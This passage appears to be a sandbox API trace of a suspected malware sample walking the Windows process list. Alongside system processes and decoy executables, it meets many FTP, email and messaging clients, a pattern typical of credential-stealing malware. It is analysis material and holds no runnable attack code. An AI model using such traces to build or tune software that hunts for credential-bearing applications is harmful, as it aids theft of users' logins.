	[0071.133] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.134] lstrlenW (lpString="svchost.exe") returned 11
	[0071.134] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.135] lstrlenW (lpString="svchost.exe") returned 11
	[0071.135] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.135] lstrlenW (lpString="svchost.exe") returned 11
	[0071.135] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.136] lstrlenW (lpString="svchost.exe") returned 11
	[0071.136] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.136] lstrlenW (lpString="svchost.exe") returned 11
	[0071.137] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.137] lstrlenW (lpString="svchost.exe") returned 11
	[0071.137] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.138] lstrlenW (lpString="svchost.exe") returned 11
	[0071.138] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.138] lstrlenW (lpString="svchost.exe") returned 11
	[0071.138] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.139] lstrlenW (lpString="svchost.exe") returned 11
	[0071.139] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0071.139] lstrlenW (lpString="spoolsv.exe") returned 11
	[0071.139] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.140] lstrlenW (lpString="svchost.exe") returned 11
	[0071.140] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0071.140] lstrlenW (lpString="audiodg.exe") returned 11
	[0071.140] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0071.141] lstrlenW (lpString="sihost.exe") returned 10
	[0071.141] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0071.141] lstrlenW (lpString="svchost.exe") returned 11
	[0071.141] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0071.142] lstrlenW (lpString="taskhostw.exe") returned 13
	[0071.142] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0071.142] lstrlenW (lpString="explorer.exe") returned 12
	[0071.142] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0071.143] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0071.143] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0071.144] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0071.144] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0071.144] lstrlenW (lpString="Memory Compression") returned 18
	[0071.144] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0071.145] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0071.145] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0071.145] lstrlenW (lpString="SearchUI.exe") returned 12
	[0071.145] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0071.146] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0071.146] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0071.146] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0071.146] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fur-hold.exe")) returned 1
	[0071.147] lstrlenW (lpString="fur-hold.exe") returned 12
	[0071.147] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="joan packages omissions.exe")) returned 1
	[0071.147] lstrlenW (lpString="joan packages omissions.exe") returned 27
	[0071.147] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vat.exe")) returned 1
	[0071.148] lstrlenW (lpString="vat.exe") returned 7
	[0071.148] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="catchuploaded.exe")) returned 1
	[0071.148] lstrlenW (lpString="catchuploaded.exe") returned 17
	[0071.148] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hart-changing-bills.exe")) returned 1
	[0071.149] lstrlenW (lpString="hart-changing-bills.exe") returned 23
	[0071.149] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="paxiltried.exe")) returned 1
	[0071.181] lstrlenW (lpString="paxiltried.exe") returned 14
	[0071.181] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cornell_contents.exe")) returned 1
	[0071.182] lstrlenW (lpString="cornell_contents.exe") returned 20
	[0071.182] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoidingsearchingmunicipal.exe")) returned 1
	[0071.182] lstrlenW (lpString="avoidingsearchingmunicipal.exe") returned 30
	[0071.182] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mustorgcitizenship.exe")) returned 1
	[0071.183] lstrlenW (lpString="mustorgcitizenship.exe") returned 22
	[0071.183] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="instructional_calibration_cheats.exe")) returned 1
	[0071.184] lstrlenW (lpString="instructional_calibration_cheats.exe") returned 36
	[0071.184] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ride_australian.exe")) returned 1
	[0071.184] lstrlenW (lpString="ride_australian.exe") returned 19
	[0071.185] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="easily stood currencies.exe")) returned 1
	[0071.185] lstrlenW (lpString="easily stood currencies.exe") returned 27
	[0071.185] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc remember.exe")) returned 1
	[0071.186] lstrlenW (lpString="rc remember.exe") returned 15
	[0071.186] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="records replace.exe")) returned 1
	[0071.186] lstrlenW (lpString="records replace.exe") returned 19
	[0071.186] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp physiology.exe")) returned 1
	[0071.187] lstrlenW (lpString="isp physiology.exe") returned 18
	[0071.187] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="feb.exe")) returned 1
	[0071.187] lstrlenW (lpString="feb.exe") returned 7
	[0071.187] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="citizenship.exe")) returned 1
	[0071.188] lstrlenW (lpString="citizenship.exe") returned 15
	[0071.188] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="wifi.exe")) returned 1
	[0071.189] lstrlenW (lpString="wifi.exe") returned 8
	[0071.189] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0071.189] lstrlenW (lpString="3dftp.exe") returned 9
	[0071.189] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0071.210] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0071.210] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0071.211] lstrlenW (lpString="alftp.exe") returned 9
	[0071.211] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0071.212] lstrlenW (lpString="barca.exe") returned 9
	[0071.212] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0071.213] lstrlenW (lpString="bitkinex.exe") returned 12
	[0071.213] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0071.214] lstrlenW (lpString="coreftp.exe") returned 11
	[0071.214] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0071.214] lstrlenW (lpString="far.exe") returned 7
	[0071.214] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0071.215] lstrlenW (lpString="filezilla.exe") returned 13
	[0071.215] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0071.216] lstrlenW (lpString="flashfxp.exe") returned 12
	[0071.216] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0071.217] lstrlenW (lpString="fling.exe") returned 9
	[0071.217] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0071.219] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0071.219] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0071.220] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0071.220] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0071.221] lstrlenW (lpString="icq.exe") returned 7
	[0071.221] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0071.221] lstrlenW (lpString="leechftp.exe") returned 12
	[0071.222] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0071.222] lstrlenW (lpString="ncftp.exe") returned 9
	[0071.222] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0071.223] lstrlenW (lpString="notepad.exe") returned 11
	[0071.223] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0071.224] lstrlenW (lpString="operamail.exe") returned 13
	[0071.224] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x168, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0071.225] lstrlenW (lpString="pidgin.exe") returned 10
	[0071.225] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0071.226] lstrlenW (lpString="scriptftp.exe") returned 13
	[0071.226] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0071.227] lstrlenW (lpString="skype.exe") returned 9
	[0071.227] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0071.229] lstrlenW (lpString="smartftp.exe") returned 12
	[0071.229] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0071.230] lstrlenW (lpString="thunderbird.exe") returned 15
	[0071.230] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0071.231] lstrlenW (lpString="totalcmd.exe") returned 12
	[0071.231] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0071.238] lstrlenW (lpString="trillian.exe") returned 12
	[0071.239] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0071.239] lstrlenW (lpString="webdrive.exe") returned 12
	[0071.239] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0071.240] lstrlenW (lpString="whatsapp.exe") returned 12
	[0071.240] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0071.241] lstrlenW (lpString="winscp.exe") returned 10
	[0071.241] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0071.242] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0071.242] Process32NextW (in: hSnapshot=0x324, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0071.243] lstrlenW (lpString="active-charge.exe") returned 17
